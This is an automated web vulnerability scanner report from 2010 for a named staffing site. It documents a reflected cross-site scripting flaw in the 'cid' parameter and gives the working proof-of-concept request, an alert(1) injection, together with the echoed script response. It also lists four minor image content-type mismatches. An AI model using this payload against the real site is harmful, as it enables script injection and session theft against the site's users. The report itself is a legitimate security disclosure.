Report generated by XSS.CX at Sat Nov 20 12:18:42 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

2. Content type incorrectly stated

2.1. http://www.kellyit.us/res/display/2008/images/back-gradient_2008.jpg

2.2. http://www.kellyit.us/res/display/2008/images/nav-bar.jpg

2.3. http://www.kellyit.us/res/display/2008/images/nav-bar_2008.jpg

2.4. http://www.kellyit.us/res/display/2008/images/topgrad.jpg



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kellyit.us
Path:   /web/us/kit/en/pages/request_staff.html

Issue detail

The value of the cid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6da5a"%3balert(1)//01f645e8ea4 was submitted in the cid parameter. This input was echoed as 6da5a";alert(1)//01f645e8ea4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /web/us/kit/en/pages/request_staff.html?cid=google/x226da5a"%3balert(1)//01f645e8ea4 HTTP/1.1
Host: www.kellyit.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 21474
Expires: Sat, 20 Nov 2010 17:38:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 20 Nov 2010 17:38:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<!--
var cid_string = "google/x226da5a";alert(1)//01f645e8ea4";
if ((cid_string!=null) & (cid_string.length!=0)) {
COOKIE.setCookie("cid", cid_string );
}
//write_tracer("/eprise/main/cms/content
...[SNIP]...

2. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


2.1. http://www.kellyit.us/res/display/2008/images/back-gradient_2008.jpg  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.kellyit.us
Path:   /res/display/2008/images/back-gradient_2008.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.

Request

GET /res/display/2008/images/back-gradient_2008.jpg HTTP/1.1
Accept: */*
Referer: http://www.kellyit.us/web/us/kit/en/pages/request_staff.html?cid=google/x226da5a"%3balert(1)//01f645e8ea4
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kellyit.us
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 13683
Content-Type: image/jpeg
Last-Modified: Tue, 28 Oct 2008 12:22:48 GMT
Accept-Ranges: bytes
ETag: "791ce7e3f738c91:3b5"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Date: Sat, 20 Nov 2010 18:18:24 GMT
Connection: close

......JFIF.....H.H....2.http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 20
...[SNIP]...

2.2. http://www.kellyit.us/res/display/2008/images/nav-bar.jpg  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.kellyit.us
Path:   /res/display/2008/images/nav-bar.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.

Request

GET /res/display/2008/images/nav-bar.jpg HTTP/1.1
Accept: */*
Referer: http://www.kellyit.us/web/us/kit/en/pages/request_staff.html?cid=google/x226da5a"%3balert(1)//01f645e8ea4
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kellyit.us
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 4970
Content-Type: image/jpeg
Last-Modified: Thu, 06 Dec 2007 21:06:27 GMT
Accept-Ranges: bytes
ETag: "27b8fdd4b38c81:3b5"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Date: Sat, 20 Nov 2010 18:18:24 GMT
Connection: close

......JFIF.....H.H.....C....................................................................C..........................................................................................................    
...[SNIP]...

2.3. http://www.kellyit.us/res/display/2008/images/nav-bar_2008.jpg  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.kellyit.us
Path:   /res/display/2008/images/nav-bar_2008.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.

Request

GET /res/display/2008/images/nav-bar_2008.jpg HTTP/1.1
Accept: */*
Referer: http://www.kellyit.us/web/us/kit/en/pages/request_staff.html?cid=google/x226da5a"%3balert(1)//01f645e8ea4
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kellyit.us
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 17065
Content-Type: image/jpeg
Last-Modified: Wed, 29 Oct 2008 15:16:50 GMT
Accept-Ranges: bytes
ETag: "74a1c95dd939c91:3b5"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Date: Sat, 20 Nov 2010 18:18:24 GMT
Connection: close

......JFIF.....H.H....2.http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 20
...[SNIP]...

2.4. http://www.kellyit.us/res/display/2008/images/topgrad.jpg  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.kellyit.us
Path:   /res/display/2008/images/topgrad.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.

Request

GET /res/display/2008/images/topgrad.jpg HTTP/1.1
Accept: */*
Referer: http://www.kellyit.us/web/us/kit/en/pages/request_staff.html?cid=google/x226da5a"%3balert(1)//01f645e8ea4
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kellyit.us
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Length: 375
Content-Type: image/jpeg
Last-Modified: Wed, 19 Nov 2008 12:46:04 GMT
Accept-Ranges: bytes
ETag: "43d4ebc8444ac91:3b5"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Date: Sat, 20 Nov 2010 18:18:24 GMT
Connection: close

......JFIF.....H.H.....C....................................................................C......................................................................._...................................
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 12:18:42 CST 2010.